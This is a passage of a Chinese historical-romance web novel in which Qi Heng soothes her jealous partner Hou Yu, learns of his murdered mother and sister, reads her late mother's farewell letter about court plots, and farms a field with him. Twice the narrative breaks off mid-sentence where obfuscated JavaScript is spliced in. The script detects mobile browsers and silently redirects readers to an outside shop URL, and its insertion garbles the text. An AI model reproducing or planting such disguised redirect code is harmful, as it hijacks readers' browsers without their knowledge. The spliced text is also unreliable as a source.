“娘不认我,爹不认我,你也不认我,从头到尾都在耍我玩……我就这么讨人嫌,我,我就那么蠢,说什么都信。” 他弓起脊背,蜷缩成一团,整个身体止不住颤抖。泪珠源源不断滚到下巴尖,沉默地流进泥土。 “我真的不知道我活着干什么了。如果我没有出生,就不会发展成现在这样。” “我不要活着了……” 这就像一颗野草生在了麦田里,在不是为他准备的土地上诞生,便是不耻。 过季不死,自找难堪。 他哭得令人心颤,戚姮最后一丝怒气也彻底消散了,她放软了态度,抱着后煜的脑袋安抚:“认你,我认你。” “对不起,我不该反悔。等回去了,我一定和你成亲。对不起。” 后煜哭得更狠了:“你骗我的,每次你都这么骗我。” “这次真不骗了。”戚姮捧起他的脸,与之平视,语气前所未有的认真,“说到做到,绝不反悔。” 戚姮说话总有一种莫名值得信任的可靠。 可就属她嘴里实话不多。 后煜回回信,回回上当,就连这次,也不敢轻易相信了。 他好半晌才止住泪,试探地问:“……真的吗。” “真的。”戚姮彻底认了栽,亲了亲他的眉心,“看我哪次答应好的事骗过你?” 戚姮直直盯着他的脸,生怕挪开半分他就不信了。 “不要看我……”后煜却率先低下头,躲开了戚姮的视线,“我现在丑。” “不丑,不丑。” 戚姮抹掉他的眼泪:“我们家灵灵好看着呢。” · 闹也闹完了,回到家,灭了灯准备睡觉,被窝里突起一阵窸窸窣窣。 后煜翻来覆去,就是不安分。 戚姮身累心更累,只想赶紧睡下,被吵得离他远了点,背过身不管他怎么折腾。 他还要硬凑上来,偷摸伸出手,溜上了她的腰间。 见戚姮没有阻止,后煜整个人挨过去,她还是没躲。 等他的唇擦过戚姮的肩,张嘴咬上,齿尖没入肌肤,将要咬破之前才松嘴。咬完一个咬第二个,在她的右肩咬了一排之后—— 戚姮终于开口了:“你是不是一直在试探我的底线?” “……我想和你说话。”后煜闷闷不乐地开口,“但是我不知道聊什么。” “不知道聊什么就咬我?” 戚姮翻了个身,面朝向他:“你一天天到底哪来这么高的精力。刚刚都上吊了,还不想休息?” “我是不是很烦。”后煜松了手,“对不起,你睡吧。” “……”戚姮搓了搓脸。 每次她以为自己已经对这小子的莫名其妙有一定心理准备,每次他都能出其不意来招新的。 毛病多,心思重,精力旺盛,敏感还脆弱,动不动就发脾气,还不允许她的方圆十里以内出现别的异性。 怎么会有这样的人。 “不烦。” 戚姮闭了闭眼,心平气和道:“你知道,我为什么会想往府里收人吗?” 后煜眼下一动,刚想缩回角落,闻声又凑了上来。 他缓缓摇了摇头,面上的表情略有些紧张。 “我体寒。出生有先天疾病。从小试药,副作用很大。无论问哪个郎中,都说我怀孕几率微乎其微。” “一直到现在,我还没有来过月事。”戚姮指着自己,“你没发现我一路都没有准备月事带吗?” 后煜一愣:“还真……没注意过。” “侯府的家业很大,爵位,财产,谁来继承?” “我一直在等调理好了,寻个身体好的男人,或许还有可能。一个不行,我就得试两个,三个,多试几个。” 戚姮揉了揉脑袋:“我对什么情爱一丁点兴趣都没有,更没有整个后宫出来的心情。” “男人聚多了,就要开始密谋坏事了。他们是很团结的,我肯定不会留在府里。包括,孩子知道生父是谁,也是种风险。” 她呼了口气,将一切都说明了了:“现在呢?你还有什么不理解的吗?” 她的神态极其认真,看不出丁点编瞎话的痕迹。 后煜呆呆地望着她,指尖无意识绞着被子:“这样吗……” 他甚至都想不起来质问,昨晚戚姮想与他欢好时说的那些居然又是假话。 他的脑袋只乱哄哄一团糟,又惊愕,又庆幸。 “我还以为,以为你是没那么在乎我。” 戚姮就知道他是这么想的,拍了拍他的脑袋:“我怎么可能不在乎你呢?我只是有更重要的事要去权衡。” “不过,即便真的去寻找别人借种,有孕的可能性也依旧不高。大概率还是要从文则那过继一个。” 后煜试探地问:“你很想有小孩吗?” “也不是。从前是觉得,我爹一个人把我拉扯大,我应该守住他的家业,不能等我们死了以后,没人继承,全充进国库里去了。” “现在知道文则是我亲姐姐,我爹认的也只是我娘的孩子,这样就,没多大关系了。” 戚姮笑了声:“文则说过,要是她有了孩子,就给我一个。那我就不担心了。” 后煜的肩膀稍稍松下,心里都不自觉轻快几分。 “我家往上数,没有一个人自己带过孩子。都是和别人生了,扔给情人带。” 戚姮耸肩:“我给文则带也不是不行。” “……”后煜沉默,“这我也能听吗?” “我看你今天听了那么多事,一点都不惊讶,早就摸清楚了吧?” 后煜迟疑地点点头:“夏瑾与我说过不少。他母亲是平宁长公主,知道的多,几乎……我也都知道。” “嘴真是跟个漏勺一样。”戚姮问,“那你说说,你猜到我舅舅是谁了吗。” 他憋了许久,才道:“陛下。” “我的意思是,他从前是谁。” 后煜更犹豫了,斟酌再三,思忖着到底能不能说,可了解这么多的内情,再装傻就没意思了:“或许是,独孤兰殊。” 戚姮惊讶:“独孤兰殊十五岁就死了。” “不是吗?”后煜蹙起眉,“永懿公主传回来的消息是只有独孤兰殊一个儿子。夏瑾根据你与他认亲戚的那句话,猜测侯夫人是公主又生的女儿。” “现在来看,确实如此。如果陛下也是公主生的,那自然是独孤兰殊。” 他这一番话逻辑很顺,戚姮想了半天,找不到反驳的漏洞。 “倒也没错。” 戚姮的意思跟勉强猜对了似的,后煜还是不理解,哪里说错了吗。 想不明白,他就不想了。 “你怎么样我都不管。”他钻进了戚姮怀中:“我只是……不想你喜欢别人。” “我想让你的身边只有我一个。哪怕不认我,只有我一个也好。” “我怕别人比我好,你就会发现我是真的很无聊,很无趣的一个人,跟我待在一起那么没意思……你会不会彻底想不起我了?” “别的我一定听你的,唯独这个,你只听我的好不好。” 他说着又快哭了:“你不要总是拿这些事敷衍我。我害怕。” 戚姮搂着他,柔声哄着:“好了,不怕。我不喜欢别人,也不让别人进门。好不好?” “好。”后煜埋头进她的颈窝,声音近在咫尺:“你发誓。” 戚姮只好伸出三根手指,举到耳边:“我发誓,我戚姮这辈子只喜欢解灵灵一个人,不让任何人进门,也永远不会冷落你,否则我……” 后煜晃了晃她,打断:“用侯府发誓。” “……否则侯府永远打不过北凉,全族覆灭,无嗣而终。” 他终于开心了,抱着戚姮一动不动:“我也是。如果我做不到,就让我生生世世都过二十岁之前的日子。” 戚姮慢慢放下了手,深吸了一口气,仰面望着天花板。 最开始没预料到会发展成这样。 这算什么,山盟海誓,天作之合,还是情劫债孽。 在牢里后煜没说假话,当时他就是想找个靠山,想活下去,不带任何感情在里面。 刚认识那阵子,他为了混进侯府,违心说喜欢,具体哪喜欢了也看不出来,就只复读“喜欢”。 连追求都是真正意义的追,默默在身后跟踪,跟个魂一样。 那时候他真的只有“进侯府找靠山”这一个目的。 直到解烺那一刀捅进了他的掌心。 戚姮想了想,就是自己从天而降,救了他这一次后惹出的麻烦。 那天,带他回家亲自照顾了一晚上。 带他去隔壁国公府大闹了一场,逼得解修竹不得不把解烺打成重伤,应该也是头一回,让国公府给他低头道了歉。 还给他在府中收拾出了院子,安心住下。 改了原本咒他去死的名字……才一发不可收拾。 赵元只为他安排了处宅子,他就愿意冒险潜进赵初身边探消息。 戚姮数数自己做过的这些。 也难怪他会这个样。 他当真把戚姮,跟命放在了同等位置。 如果失去一个,就会放手另一个。 这样真的就是情债了吧? 她翻了个身:“你为什么没留在文则身边?是因为有夏怀微吗。” “不是。”后煜否认的很快,“我与公主,是最普通的合作关系。她帮我,好像是因为一个人,与感情无关。” 戚姮了然于心,拍着他的后背,又问:“你不觉得待在文则身边更好吗?我就喜欢待在她身边。” “不一样,你与公主哪都不一样。”后煜说,“我喜欢你看谁不爽就揍谁的样子。” 戚姮沉默:“你的爱好有点独特了。” 后煜却摇摇头,解释:“小时候,左邻右舍见我是孩子,没少欺负我。我不敢反抗,什么都不敢做。” “很多年后,我遇见了你,天底下居然有人谁都敢打。这是我小时候,最想成为的那种人。” “你是第一个没有对我说得罪了国公府很麻烦的人,有朝一日,我也能拿刀去砍解烺。最后还能全身而退……” 戚姮一低头,就恰巧撞上他亮晶晶的眼睛:“你简直太厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534046|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害了。” 戚姮算是听明白了。 这小子有心没胆,意外发现了个浑身都是胆的愣头青,就一脸崇拜地倒贴过来,死活不愿意走了。 她笑得很无奈:“外头都说我这性格恶劣,早晚出事,也就你还能夸句厉害。” “我就要你这样恶劣的人。” 后煜缠上了她的身子,抱得紧紧的:“他们都不喜欢你,我爱你,你也爱我。我们这么过一辈子。” 戚姮眨了眨眼:“你是不是就等着他们越烦我越好。” 后煜被看穿了小心思,颇有些窘迫,半天才吭出一句:“这样就没人和我抢了。” “我发现你这个人思想特别阴暗。” 戚姮捏住他的脸:“每天在心里憋着的小九九一定特别坏。” 后煜拒绝继续回答这个问题,扯到别处去:“身边突然没有了孩子,还有些空落落呢。” 戚姮果然被带偏了话题:“你也太喜欢小孩了,这还不是亲儿子,是我弟弟都能这么上心。” 她静了静,忽地问:“你有没有什么弟弟妹妹?” 后煜“嗯”了声:“有个妹妹。” “多大了?你见过她吗?” “死了。”后煜说,“死的时候三岁,跟我娘是同一天被姓解的给杀了,她就比我小两岁。” 戚姮额角一跳。 “解修竹……杀了?” “很不可思议吧。”后煜嘲讽道,“他那种读书人,骨子里更是恶劣至极。我真不知道怎么有脸说别人的。” 是太不可思议了。 戚姮呆若木鸡地,脑中刮起一阵头脑风暴。 他继续说:“这事是我偶然撞破的。” “那天我娘突然失踪了,晚上,他就接我回了国公府。我被解烺打的受不了,跑去宗祠想躲一躲,却发现了我娘的尸体,正躺在棺材里。” “那还能是谁杀的呢?” “我害怕他们把我也杀了,就跑了。翻墙离开了国公府,再也没回去过。” 翻墙。 戚姮脑海里突然响起在侯府,戚砚顺口讲过的往事。 “小解应该是十几年前翻进咱家,摔断腿的那个小孩。你娘在院里溜达发现了他,头上和脖子全是血,人也摔晕了。她就抱了回来,让赵繁英给看。” “没多久解修竹来问有没有看见他儿子。小孩来时伤那么重,你娘猜是国公府虐待孩子,就问了几句。他说话特别冲,意思是不要多管闲事。” “你娘那暴脾气,几脚就把解修竹踹了回去。” “他第二天换副态度又来了,还是要儿子。毕竟是别人家孩子,赵繁英诊完说没什么事,给还了回去。” “从那以后,再也没见过。” 戚姮出神地想着这些话。 居然是这天的。 她转动眼珠,又望向后煜。 他像是已经在脑中回想了许多年,再提起,掩不住的落寞挂了上来,好半晌,又恢复平静。 并没有太过沉浸于曾经的痛苦。 艰难活着的人有很多,出了侯府向外看,大街小巷。 可出身名门望族还能活成这样的实在是少。 到底是他运气太差,穷人的日子一天没少过,父母的恩怨情仇也全压在了他身上。 “你亲眼见到你妹妹出事了吗。” 后煜摇摇头:“他把我娘以妾的身份葬在了祖坟,但我妹妹是别人的孩子,与他没有干系。多半是……随手扔在了荒郊野外。” 戚姮又问:“你与妹妹感情怎么样。” “挺好的。吃的玩的,她都会藏起来,分我一半。家里没人,也是我带着她。” “那,你还记得她是几月生的吗?” “冬天。每年下雪的时候,我娘就会带着妹妹,去找她爹一起过生辰。”后煜垂下眼,“我也是冬天,十月初五。她应该比这晚,雪都下得很厚了。” “你是十月的生日啊?” “嗯。”后煜补充,“姓解的告诉我的。” “这不是很快了吗。”戚姮揉揉他的脸,“今年我给你过。” 他有些受宠若惊,反应过来连忙笑应下:“好。” 戚姮听完这些,心中大概有了思量:“要是你妹妹没死的话,你会想见见她吗。” 后煜一愣:“没死?” “如果解修竹念着这只是个小姑娘,将她扔出去,自生自灭,但恰巧被人捡回家养大了呢?” 后煜认真思忖了一番这个可能性:“微乎其微,他不是这种性格。” “而且我那天把周围所有地方全都找了,什么都没有。” 戚姮叹了口气:“至少没亲眼见到她真的出事,也算是件好事。你愿意见她的话,等回去,我帮你再看看。” “你要帮我找妹妹?” 原本提起从前这些,他的情绪都已经低迷了下去,一听戚姮这么说又忍不住激动起来:“真的?” 戚姮现在真是越来越看不得他委屈巴巴蔫在那了,瞧见这样才心满意足地点点头:“真的,说不定没那么难找呢。” 后煜总觉得她的身边就好像有一层隐秘又强大的情报搜集网。 无论多少年前、隐瞒的多好的事情,戚姮都能调出记录在册的档案,顺藤摸瓜就摸了个底朝天。 只要她这么说,八成是能行的。 后煜看她的眼神都变成星星眼,语无伦次道:“你怎么这么好。啊……” 戚姮的脸颊落下重重一个吻,眼见他要脱衣服献身,连忙给他穿回去:“行了行了。今天太晚了,我都困了。过几天。” “好。”后煜老实地躺回去,还是难掩激动,“困了就睡吧。我不打扰你休息了。” 他闭上眼,果真没有再说一句话。 他的情绪果然转变的还是那么快。 戚姮哑然失笑,拉了拉被子,给他也盖好。 今晚这场闹剧,深究问题,仅仅来源于他不确定自己会不会也被抛弃。 戚姮其实很想说,即便给了名分,哪天烦了也是能随时赶出去的。 可转念一想,他娘这件事估计给了他很大的心理阴影。 “无名无分”于他而言,要比别人摊上还难以接受。 没名分等于没保障。没有保障,外室、妾,仅是主家的私有财产,随时可以处置。他焦虑的就是这个随便处置。 他娘就死于他亲爹之手。 还是不说了。 戚姮快要睡着的前一刻,身侧动了动,紧接着耳边响起了后煜的声音:“我知道你是在哄我。但是,我爱你,真的,好喜欢你。” 她还是没能抵抗睡意来袭,脑袋一歪,彻底失去意识。 50. 并蒂双株【八】 阿姮,我是娘亲。 当你看到这封信的时候,或许是你的亲生父亲传信进汴京,请求中原出兵的日子。 还请不要不情愿,这是我曾经三令五申交代过,如若波斯出现任何问题,必须由你领兵前去平定乱局的结果。 清平二年冬十一月,我发现宁淮有问题的时候已经晚了。 每年冬天都是我的一道劫,我很清楚我熬不过今年腊月,仅凭最后这几天做不到彻底铲除他,与其背后的势力,也就没有打草惊蛇。 宁淮在随你爹领兵镇压南边起义时,意外发现楼兰边境有一种物质,深埋地下,当地人称呼为“黑水”,中原叫“猛火油”。 这种物质一点就着,遇水不灭,加工改良之后运用在军事中,能极大提升杀伤力。 为了私吞不报朝廷,他伪造各种文书,在大燕与楼兰之间制造冲突。克扣赈灾粮而致流民起义更甚,武力逼迫楼兰不得不起兵反抗。 最终以叛乱罪名踏平楼兰,将猛火油占为己有。 宁淮是鲜少知道我真实身份的人,同时,他也极其排斥波斯人。 他看不惯我当皇帝,但太后为了送我上位,调动了母族势力。再有你爹坐镇,他也无可奈何,此举便是暗中为造反做准备。 宁淮想推翻我的政权,拥立你舅舅,这个假赵璟假中原人为帝。 但你舅舅并不介意我当皇帝,把这事压了下去。 因为他很清楚我活不久,而他连中原字都不认识几个,我在位的两年,正好给他时间学习,伪装,直到别人看不出来异常。 于是,你舅舅将宁淮手中的私兵与猛火油全都当成了筹码,在背后给我悬了把剑:我可以当皇帝,但我临死前只能禅位给他,不可以传给我的孩子。 不然他就会造反。 不要动他的皇位,他为了这个位置准备了二十年,只要你没有这个心思,他就会是你的好舅舅。 我也拿不准宁淮许多年后到底还在不在那个位置,但我强硬要求只能你带兵去波斯,就是怕他先你一步截胡,以对付楼兰的手段故技重施,转嫁到波斯头上,再来一遍。 我把波斯送给你父亲的那年,说了保他三代之内国姓贺兰,但凡你舅舅曾经对我的好不是伪装,他会听我的。 这个担子只能交给你了。 我专注国事的这两年,你舅舅利用赵璟的身份混进文官势力,结党营私,发展党羽。 我知道,但没管他,本来我也是打算传位给他,只有他能在这个混乱的局面稳住朝政,安定天下。 我活着的时候能压制得住你舅舅,一旦我死了,你爹再长十个脑子也玩不过他,无论这棋怎么下,只要你舅舅想杀,都是必死局。 干脆我不让你爹知道太多,省得节外生枝,提前让你舅舅起杀心。 你也太小,现在我不知道该怎么说,但你看见这些嘱咐时应该也大了,娘觉得,你该知道这些东西了。 我不是让你防你舅舅,他该不该防,你与他相处了这么多年早该清楚。你能看到这封信就证明至少他还是听了我的,那么他就不会做出多么过分的举动。 我只想让你替我完成两件事: 一,去见见你父亲。 你父亲叫贺兰白,当初就等了我五年,再见面,我没法给他回应,把该说的都说了,就此别过。 那时你还没出现,我不知道你还活着,唯独没说你的存在。 有机会了去见见他。 倘若以后你舅舅老了,糊涂了,就如同武帝与戾太子那般,真的要对你下手,想办法跑去波斯,你父亲会收留你。 哥哥在各方面都与我持平,但军事上,从来不如我。 你是娘的亲女儿,你的祖父是波斯唯一靠军功上位的异姓王,怎么着你也不会太差。 跑回波斯,用着你亲爹的兵,你舅舅不仅拿你没办法,也根本打不下波斯,这是你最后的退路。 二,为楼兰平反。 这是我检查不力导致的惨案,但我没有时间再做什么了,就把找到的证据分开留在了皇城司与侯府。 太府寺还藏了一份账本,压在档案处景仁三年三月三日所有档案之下。 李拭镜,李在溪,宁淮三人合谋吃空饷,挪用公款,私养军队的罪证都在里面。 如果这账本还在,证明你舅舅默许了我安排这件事,他不好过河拆桥,要借你的手除掉这三人。 如果不在,可能是李拭镜发现了,但他肯定会狗急跳墙。要是风平浪静无事发生,就是你舅舅撤走的,你再去看皇城司的档案还在不在。 两处都不在,就不要彻查了。 适当装傻,拿着侯府的证据还原当年真相,把铁证交到检察院,逼你舅舅为楼兰下平反令,别的不要再多管。 查的时候一定要当心,不要让你舅舅感觉到是你想撤换他的势力,觊觎他的皇位。 最后,娘其实想说,如果他有哪里做的不对,只要没有危及你与你爹的安全,就不要同他计较了。 你舅舅小时候过得不好,知道自己是太子的儿子,却只能在几十个下人挤在一起的破房子里长大。 他觉得不公,自然会有些偏激,做事也比较不择手段。 但他并不坏,看到谁家小孩跟他一样没爹娘,都想收养回家照顾。所以我相信他不会对你做什么,即便最差的情况发生了,先带你爹跑。 宁淮这事应当在你舅舅的掌握之中,他是个忠臣,忠的不是我而已。 我死了以后,宁淮必然会消停下来,但如果他还在朝堂,就是你入朝后最大的威胁。 想办法悄无声息把他解决掉,娘相信你长大以后,能力足以跟你舅舅抗衡。 照顾好你爹爹,给他找点事做,什么事都好。养点猫狗,花草,不然他活不下去。 他不爱说话,什么事都憋在心里,憋久了容易想不开,陪他多聊聊天,他肯定也不会撵你走。 娘亲只放心不下你们两个。 这几天,我每天都会想,当年你舅舅不让我生下你或许是对的。 太子府覆灭以后,其实我并不想活了。 但他看我看得很紧,不让我寻死。 知道我跟你父亲约会,还觉得能让我高兴点,没阻止,只在我必吃的药里下避子方。 但他正好有事被困在了外面半个月,再回来,我就趁这个时候怀了孕。 我是奔着直接难产血崩死了得了的心态生下的你,却没想过如果你真的降生,我死了,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534412|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该怎么养,给谁养。 从小我就知道我就活不长,当年我娘就想把我一起杀了,也省得再让我舅舅带走,拖累他。 但最后,哥哥跑了进来,他俩一见面,娘就认出来了。 国师那则预言让她担忧了十几年,估计是认命了,我们两个都没杀,只要我发誓这辈子不能去中原当皇帝,就让哥哥带着我走了。 我确实发了誓,我说,我要是当上皇帝就不得好死。 原本你爹给我养的很好,能跑能跳,但为了给侯府谋条出路,我还是违背了誓言。 登基那天,我病发昏迷了整整三日。自那以后,身子每况愈下,我没有上过一天朝,连走两步都很费劲。 我以为,只要我一心为中原,并不按国师说的帮波斯抢夺地盘,就不会出事。 结果誓言还是发作了,可能掺着一半异族血统的人注定不被这里所接受。 这个时候我才开始担心你的未来,我怕我突然死了,你怎么办。 你本来就不是你爹的亲女儿,他会是个好父亲,但我不确定他对待不是自己的孩子还会不会那么好。 你舅舅虽然有养小孩的兴致,但他的童年经历注定也养不出正常的孩子,把你交给他,我不放心。 综合下来,我还是更满意侯府,起码无论你做什么,你爹都不会有意见。 索性你爹这人也好说话,除了刚开始对你意见很大,后来就越来越好了。 知道我为你的事情忧心,他再三保证一定会照顾好你,天天在我面前发誓。 我还是蛮信誓言的一个人,也相信他不会骗我。 原本,在你出生之前,娘为你取的名字叫独孤化柔。 但遇上了你爹,我就让你随了他的姓,从此以后,这就是你亲爹。 他这个爹还合格吗?你过得开心吗? 我很爱你爹,想带他一起走,他也愿意第一个为我殉葬,这样下了地府,我们俩还可以待在一块。 可你需要人照顾,我就只能让他好好活着。 如果他在我死后娶了别人,把你冷落到一边,你每天过得都很不开心。上面说的那些话就不要听了,把他给我送下来,我弄死他。 我对得起任何人,即便是我娘。 她不让我当皇帝,是怕我灭了她的母国。但我从她亲哥哥手里抢下这个位置,并没有那么做。 反而是我拯救了这个大厦将倾的王朝。 你爹全家的命都是我救的,最开始都没问我的意见就抢我回了侯府,他没立场质问我的任何决定。 你的亲生父亲,我赔了他一个国,他更没资格提意见。 你舅舅最想要的皇位我也会给他。 娘唯独对不起你。 你的出生没被我重视,你四岁前的日子我一天没有参与,七岁之后又要成为没娘的孩子。 如果我能撑到你长大,也不至于把你的未来托付给别人。 擅自把你生下来,让你随了我的身子骨,还留下一堆烂摊子要你面对,对不起。 娘希望你平平安安,无痛无灾地活下去。 如果真的有不死药,吃了让你去做神仙该多好。 娘很爱你。 清平二年腊月二十五。 51. 并蒂双株【九】 送去询问赵元行踪的信传去五六天了,才刚刚从汴京飞回来。 彼时戚姮正在田里锄地。 “哎呦我天呢,他到底包了多少亩地?” 戚姮抓着拦截到的信鸽,太阳底下累得都快急眼了,连忙借着这机会跑去阴凉地喘口气。 这五天,刚吃完早饭就被轰过来犁地,播种,中午就只能吃点带来的干粮,一直忙到天黑才可以回家吃晚饭。 解檀还时不时还跟个鬼一样突然出现,发现戚姮坐在树荫底下,指挥后煜干这干那,自己躲着喝水偷懒,回回扛着锄头就要劈她。 六十的人了跑起来健步如飞,一点看不出来年纪,再让他活二十年都不是问题。 她低头快速扫过卷筒里的纸条,才将鸽子放飞,坐在原地怀疑人生。 “一个老人,种这些地还在能力范围之内。再多,估计就不行了。” 后煜撑着锄头木杆,站立着微微喘息,他被晒得脸颊通红,刘海黏在了额头,鼻尖都蹭到了尘土。 “小麦最佳播种期就是这几天,我们已经……”他向四周瞅了瞅,“种完八亩地了。” “我真的,从此以后,再也不跟别人卖惨了。” 戚姮喝一口水向旁瞅了三眼,就怕解檀突然出现。整个人都显得神经叨叨地:“带孩子比打仗累,种地也比打仗累。普通农妇又带孩子又种地,我滴个娘,我做不到。” “一个人一个承受能力,一个擅长领域。我倒是觉得我可以种地,也可以带孩子,但绝不会参军。” 后煜拖着锄头来到戚姮身边坐下:“上战场才可怕,随时都会死。老百姓只要老实种地,起码还能有口饭吃。” “嗯……这倒是。” 戚姮将水壶递过去:“我招兵的时候,大部分人都是不想种地了,为朝廷分发的那几贯钱而来。” “但能活下第一场战役的战士就很少,更别说平安归来……都是看见了幸存者,才会觉得上战场好吧。” 后煜认同地点了点头:“你就好适合打仗,第一次上战场立了个大功。也好适合当官,想害你都不成。能文能武的,好厉害。” “……还是生了个好人家。” 戚姮罕见的被人夸也没什么得意之色:“即不用种地,家里又肯让我学东西。我爹可没少砸钱,准备了十几年,要是第一次上战场就死了,那我也太废物了。” “但凡我真的出生在村里,女孩,生下来还又有病,早给我扔了。” 戚姮低头薅了根草:“哎,不算我的功劳大。应该感谢我娘,她出身高,奠定了我以后的生活。” 后煜良久以后,轻笑了声:“我也得感谢我娘。” 戚姮扭过头。 “刚出生那几天,她总想扔了我。但扔一次,就有个奶奶送回去一次,无论扔哪都能被奶奶找到,还扬言再扔就报官。这才罢休。” 后煜说:“感谢她最后还是把我养大了。” 戚姮略一思忖,伸手捣了捣他:“听这的意思,你娘对你并不太好。你报复心那么强,却不像恨她的样子。” “私生子我都够不着,是奸生子。”后煜低头,拍了拍身上的土,“没什么好恨的,谁能喜欢上一个被强迫后生下的孩子?” 戚姮支着下巴,若有所思。 “而且我娘对我很不错,没掐死我,扔掉也是想让别人捡去养。” 后煜回想着,道:“她也没饿过我,只是不跟我说话。吃食、衣裳,全都不缺。反正比待在国公府舒服,我娘不会打我。” “我的人生,坏也是从踏进国公府那一刻开始变坏的。要恨,我也该恨我爹不作为。” 此话倒是不假。 国公府的所有矛盾,其根源就来自于解修竹糟糕的处理手段。 人品也堪忧。 “……亏解修竹还是个读书人,什么事他都能干得出来。” 戚姮想想解檀,想想解修竹,又想想他,觉得匪夷所思:“你们都姓解,这国公府为什么会跟菜市场一样乱。什么人都有?” “问题只出在我爹身上吧?”后煜面色古怪,“除了他和解烺,我就只见过伯公了。他们像两拨人。” “当然了……我舅姥爷绝对的好人。” 戚姮瞟过四周无人,悄声道:“偷偷告诉你。他跟着我姥姥来波斯时,是男扮女装,装成侍女跟来的。解修竹上哪能比?” “!”后煜捂上嘴,“比我还倒贴……” 她附和:“东京第一倒贴男子。” 后煜挠挠头:“从前我觉得姓解不好,如果非要姓解,随他这一脉也不是不可以。” 戚姮斩钉截铁道:“不行。” “为什么?” “这样你辈分就比我大了!”戚姮不乐意,“我得喊你小舅舅,你干什么跑去跟夏怀微一辈。” 后煜想着是这个理,突然灵机一动:“那解烺是不是要喊我叔叔。” “……” 戚姮被这一句话逗得直乐,一巴掌给他拍远了:“你有病啊?给我去一边去。” “不是吗?”后煜看她一直笑,傻愣愣地扫了扫鼻尖,也跟着笑了两声,“我觉得还挺好。” 戚姮笑够了才一本正经地反驳:“不行,你不许比我辈分大。” 后煜听话地点头:“噢。” “晚上吃完饭,明天我们赶紧跑。”戚姮说,“我已经打听到文则去哪了。” “好。” “你说波斯到底好不好玩呢?听他们说城里与汴京完全不一样。” “应该会好玩吧?毕竟是新地方。” 戚姮思考半天,又道:“反正我们此行也不是出来玩的,好不好玩再看吧。” “行。” “找到文则之后,我会卖惨。”戚姮嘱咐,“无论我说什么你都要附和,不要说实话。” “嗯。” “她要是还不肯原谅我,咱们两个就一起抱着她的腿求她。实在不行,就拿刀架在脖子上逼她。” “我也要吗?” “你也要。你作为我在她身边的人脉,竟然不给我说好话,害得赵文则到现在还没原谅我。”戚姮叉腰,“你自己说,你过不过分。” 后煜觉得有道理:“我好过分。” 戚姮大手一挥:“好了,我原谅你了,过来过来。” 后煜刚被她推开,现在又挪了过去。 “你去把剩下的地赶紧种完,我想想接下来该怎么办。” “切记,不要种的太好,这样会被看出来不是我干的,留几颗种子在土外,种完了我们快点回去。” 戚姮捧着他的脸亲了亲,贿赂了半天,打发道:“快去吧。” 这小子没动,揪着戚姮的衣角不撒手,一副“还不够”的意思。 “干什么?” 真是越过胆越大,心也越贪,戚姮目瞪口呆地:“你现在越来越得寸进尺了。” 他嘟囔道:“这么多地,都让我干,你也太拿我当苦力了……” 戚姮斜眼睨他:“那你想怎样啊?” “我想,听那个。”后煜扭捏起来,“就是你在黄河边喊我的那个。” “哪个?”戚姮说完,忽然想起来了。 她满脸稀奇地望过去,实在想不到这会是他的爱好。 后煜咳了好几声,拨弄了两下头发,捋正衣领,眼神飘忽着,就是不看她。 戚姮心里唾弃两声下次绝不能这么惯他了,身体上却还是扑过去,趴在了他背后:“好六郎,好哥哥。你就替我种了,好不好?” 怀里的身子随着她话音落下瞬间紧绷,后煜“噌”一下就站了起来。 他语无伦次地应了几声,捞起锄头,手忙脚乱地往地里跑。 看着他落荒而逃,戚姮靠上树,从兜里摸出一根熏药来,兀自点燃。 就这点脸皮还学人家提要求。 她翘着二郎腿在树底下悠哉悠哉,只留后煜跑进太阳底下种地。 他脑后的马尾被随便一根布条绑住,直垂到大腿,简简单单衣裳罩在身上,阳光一照,质朴中又实在贤惠。 戚姮故意喊了一嘴:“官人你快点种呦!明天我们还要双宿双飞呢!” 他身形一僵,随即跟打了鸡血一样,肉眼可见的干活速度变快了。 戚姮非常的满意。 日落西山红霞飞,五指间刚流淌些昏黄橘光,后煜就吭哧吭哧扛着工具回来了。 药效发作,戚姮用草帽挡脸睡了一下午,一直到现在还没醒。 后煜拿开了她的帽子,蹲在旁边,揪了根草蹭着她的鼻尖,半晌以后她终于感受到了痒意,打了个喷嚏。 戚姮缓慢地睁开眼,视线以内只有后煜凑近的脸。 她迷糊着问:“弄完了?” “弄完了。” “那就……回家。”她爬起来,扶着树缓了半天,甩了甩脑袋,清醒多了:“走吧。” 后煜定在原地,半天没拽动。 戚姮被这祖宗快折腾死了:“又怎么了?” 他抬起眼,眸底尽是期待:“你能不能亲我一下?我想你了。” 戚姮面无表情:“大哥。这才一下午没见。” “一年半。” “什么一年半。” “一日不见如隔三秋,一下午就是一年半。” 戚姮扶额:“你是小孩吗?还要我哄?” 后煜看出她不乐意,将工具一扔,往地下一坐:“我不走了。” “……” 戚姮指到他脸前,边哆嗦手边转着圈骂:“你现在就是个无赖!天天给我耍脾气!我早就说你是这种性格,居然还真捡你回家!” 后煜抱着腿,权当听不见。 “爱走不走,你就坐吧!我自己回家吃饭,饿死你。” 戚姮骂骂咧咧地扛起锄头,头也不回地离开。 他还是坐在那不动。 后煜坐到天黑也没把戚姮等回来。 他仰头看看已经亮起繁星的夜空,这里比汴京看得更要真切。 月色如水,地面波光粼粼,浪花翻涌间映亮了他的脸。 再低头,面前站了几个小孩。 “诶,那男的。身上有钱吗?” 